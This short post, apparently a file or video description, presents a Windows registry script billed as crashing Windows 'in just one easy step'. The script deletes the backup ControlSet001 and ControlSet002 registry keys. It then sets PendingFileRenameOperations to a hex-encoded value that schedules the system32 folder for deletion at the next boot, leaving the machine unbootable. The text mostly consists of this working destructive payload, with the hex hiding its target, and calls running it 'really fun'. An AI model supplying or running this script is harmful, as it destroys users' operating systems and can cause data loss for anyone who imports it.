Short:
How to crash Windows in just one easy step.

Long:
Render Windows (at least XP, probably many older and newer versions too) unbootable by removing the backup ControlSets and setting PendingFileRenameOperations on system32.
Really fun to do, but it's easier if you copy the virtual HDD before attempting this =)

------ Used reg script -----
REGEDIT4

[-HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001]

[-HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]

PendingFileRenameOperations=hex(7):5C,3F,3F,5C,43,3A,5C,57,49,4E,44,4F,57,53,5C,­73,79,73,74,65,6D,33,32,00,00
